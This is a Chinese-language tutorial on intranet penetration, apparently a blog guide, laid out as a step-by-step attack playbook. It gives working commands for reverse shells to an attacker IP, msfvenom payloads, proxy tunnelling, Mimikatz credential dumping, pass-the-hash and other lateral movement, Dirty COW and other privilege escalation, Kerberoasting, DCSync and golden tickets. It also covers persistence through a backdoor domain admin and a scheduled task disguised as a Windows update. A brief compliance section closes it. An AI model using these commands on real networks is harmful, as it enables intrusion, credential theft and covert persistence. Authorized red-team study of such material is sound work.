📘 内网渗透概述
内网渗透是指攻击者在突破外网防御后,进入企业内部网络进行深入攻击的过程。与外网渗透不同,内网环境通常具有以下特点:
🎯 内网环境特点
- 网络隔离:DMZ、办公区、核心区等多层网络分段
- 防御薄弱:内网安全意识较低,系统补丁不及时
- 域环境:Windows Active Directory 集中管理
- 信任关系:主机间存在 Kerberos 认证和文件共享
🚪 初始访问与立足点建立
1. 获取 WebShell 或反弹 Shell
假设通过 SQL 注入、文件上传等漏洞已经获得了 Web 服务器的控制权:
反弹 Shell 到 MSF
# 在 WebShell 中执行
bash -i >& /dev/tcp/192.168.1.50/4444 0>&1
# 或使用 MSF 生成 Payload
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f elf -o shell.elf
chmod +x shell.elf
./shell.elf
2. 信息收集 - 确认网络环境
# 查看网卡信息
ifconfig / ip addr
# 192.168.1.100 (外网) + 10.10.10.1 (内网)
# 查看路由表
route -n / ip route
# 查看 ARP 缓存
arp -a
# 查看网段存活主机
ping 10.10.10.1-254 # 不推荐,产生大量ICMP流量
# 查看监听端口
netstat -tulnp | grep LISTEN
🔀 代理隧道技术
方案1:MSF Socks 代理
通过 Meterpreter 建立 Socks 代理
# 1. 添加路由
meterpreter > run autoroute -s 10.10.10.0/24
# 2. 启动 Socks4a 代理
meterpreter > background
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set VERSION 4a
msf6 auxiliary(server/socks_proxy) > set SRVPORT 1080
msf6 auxiliary(server/socks_proxy) > run -j
# 3. 配置 proxychains
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf
# 4. 通过代理扫描内网
proxychains nmap -sT -Pn 10.10.10.0/24
方案2:SSH 动态端口转发
# 如果目标开放了 SSH (22端口)
ssh -D 1080 -N -f [email protected]
# 配置浏览器使用 SOCKS5 代理 127.0.0.1:1080
# 即可访问内网 Web 应用
方案3:reGeorg/Neo-reGeorg
当目标只有 Web 应用(PHP/JSP/ASPX)时,可以使用 reGeorg 隧道工具:
# 1. 上传 tunnel.php 到 Web 目录
# 下载:https://github.com/sensepost/reGeorg
# 2. 启动本地代理
python reGeorgSocksProxy.py -p 1080 -u http://192.168.1.100/tunnel.php
# 3. 配置 proxychains 使用 socks5 127.0.0.1:1080
方案4:Chisel 反向代理
# 攻击机启动服务端
./chisel server -p 8080 --reverse
# 目标机启动客户端 (反向连接)
./chisel client 192.168.1.50:8080 R:socks
# 现在可以通过 127.0.0.1:1080 访问内网
🔍 内网信息收集
1. 主机发现
# Nmap 扫描(通过代理)
proxychains nmap -sT -Pn 10.10.10.0/24
# MSF 内置扫描模块
msf6 > use auxiliary/scanner/discovery/arp_sweep
msf6 auxiliary(scanner/discovery/arp_sweep) > set RHOSTS 10.10.10.0/24
msf6 auxiliary(scanner/discovery/arp_sweep) > set SESSION 1
msf6 auxiliary(scanner/discovery/arp_sweep) > run
# fscan 快速扫描(推荐)
./fscan -h 10.10.10.0/24
2. 域环境信息收集
识别域环境
# Windows 命令
ipconfig /all # 查看 DNS 服务器(通常是域控)
net config workstation # 查看域信息
systeminfo | findstr /B /C:"域"
# PowerShell 查询域信息
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# 查询域控制器
nltest /dclist:corp.com
nslookup -type=SRV _ldap._tcp.dc._msdcs.corp.com
# 查询域用户
net user /domain
net group "Domain Admins" /domain
3. BloodHound 域分析
# 使用 SharpHound 收集域信息
.\SharpHound.exe -c All --zipfilename corp_bloodhound.zip
# 或使用 PowerShell 版本
Import-Module .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All -Domain corp.com
# 导入 BloodHound 分析
neo4j console
# 访问 http://localhost:7474
# 上传 .zip 文件,查找攻击路径
🔀 横向移动技术
1. 凭证窃取
Mimikatz 抓取密码
# Meterpreter 加载 Kiwi
meterpreter > load kiwi
meterpreter > kiwi_cmd privilege::debug
meterpreter > kiwi_cmd sekurlsa::logonpasswords
# 导出结果
Username : administrator
Domain : CORP
NTLM : e19ccf75ee54e06b06a5907af13cef42
Password : P@ssw0rd123
# 或直接使用 hashdump
meterpreter > hashdump
2. Pass-the-Hash (哈希传递)
# MSF psexec 模块
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set RHOSTS 10.10.10.50
msf6 exploit(windows/smb/psexec) > set SMBUser administrator
msf6 exploit(windows/smb/psexec) > set SMBPass e19ccf75ee54e06b06a5907af13cef42
msf6 exploit(windows/smb/psexec) > exploit
# Impacket psexec.py
python psexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 [email protected]
3. WMI 远程执行
# wmiexec.py (推荐,无需写入文件)
python wmiexec.py administrator:P@[email protected]
# PowerShell WMI 执行
$credential = Get-Credential
Invoke-WmiMethod -ComputerName 10.10.10.50 -Credential $credential `
-Class Win32_Process -Name Create -ArgumentList "powershell -enc "
4. PSExec / SMBExec
# Impacket smbexec
python smbexec.py administrator:P@[email protected]
# Sysinternals PsExec
PsExec.exe \\10.10.10.50 -u administrator -p P@ssw0rd123 cmd.exe
⬆️ 权限提升
1. Windows 提权
# 使用 PowerUp 枚举提权路径
powershell -ep bypass
Import-Module .\PowerUp.ps1
Invoke-AllChecks
# 使用 WinPEAS
.\winPEASx64.exe
# MSF 本地提权模块
meterpreter > background
msf6 > use exploit/windows/local/ms16_075_reflection
msf6 exploit(windows/local/ms16_075_reflection) > set SESSION 1
msf6 exploit(windows/local/ms16_075_reflection) > exploit
2. Linux 提权
# LinPEAS 自动化枚举
./linpeas.sh
# 查找 SUID 程序
find / -perm -4000 -type f 2>/dev/null
# 利用 Dirty COW (CVE-2016-5195)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty P@ssw0rd123
🏰 域渗透攻击
1. Kerberoasting 攻击
请求服务票据并离线破解
# 使用 Rubeus 请求 TGS
.\Rubeus.exe kerberoast /outfile:hashes.txt
# 使用 Hashcat 破解
hashcat -m 13100 hashes.txt wordlist.txt
# Impacket GetUserSPNs.py
python GetUserSPNs.py corp.com/user:password -dc-ip 10.10.10.10 -request
2. DCSync 攻击(获取域内所有哈希)
# 需要域管理员权限或 Replication 权限
meterpreter > load kiwi
meterpreter > kiwi_cmd lsadump::dcsync /domain:corp.com /all /csv
# Impacket secretsdump.py
python secretsdump.py corp.com/administrator:P@[email protected]
3. 黄金票据攻击
# 1. 获取 krbtgt 哈希
meterpreter > kiwi_cmd lsadump::dcsync /domain:corp.com /user:krbtgt
# 2. 生成黄金票据
meterpreter > kiwi_cmd kerberos::golden /user:Administrator \
/domain:corp.com /sid:S-1-5-21-xxx /krbtgt:abc123... /ptt
# 3. 访问任意资源
dir \\DC01\C$
🔒 权限维持
# 添加域管理员账号
net user hacker P@ssw0rd123 /add /domain
net group "Domain Admins" hacker /add /domain
# 创建计划任务
schtasks /create /tn "Windows Update" /tr "C:\backdoor.exe" /sc onlogon /ru System
# WMI 事件订阅
$filter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" ...
$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" ...
# 域后门(SID History 注入)
mimikatz # sid::patch
mimikatz # sid::add /user:normaluser /sid:S-1-5-21-xxx-500
🛠️ 常用工具清单
🔧 代理隧道
- reGeorg / Neo-reGeorg
- Chisel
- Frp / Nps
- EarthWorm (ew)
🔍 信息收集
- fscan (一键扫描神器)
- BloodHound (域分析)
- PowerView (域枚举)
- ADRecon
🚀 横向移动
- Impacket (psexec/wmiexec)
- CrackMapExec (CME)
- Evil-WinRM
- Cobalt Strike
⬆️ 权限提升
- Mimikatz / Kiwi
- PowerUp / SharpUp
- Potato 系列提权
- LinPEAS / WinPEAS
📚 总结
内网渗透是一个系统性工程,需要熟练掌握代理隧道、信息收集、横向移动、权限提升等多项技术。在实战中,要根据目标环境灵活选择工具和攻击路径。
⚠️ 安全与合规
- 合法授权:所有内网渗透行为必须获得书面授权
- 范围限制:严格遵守授权范围,不越权攻击
- 数据保护:妥善处理获取的敏感数据,测试后及时删除
- 痕迹清理:测试结束后清理日志、后门等痕迹
🖼️ 内网渗透实战场景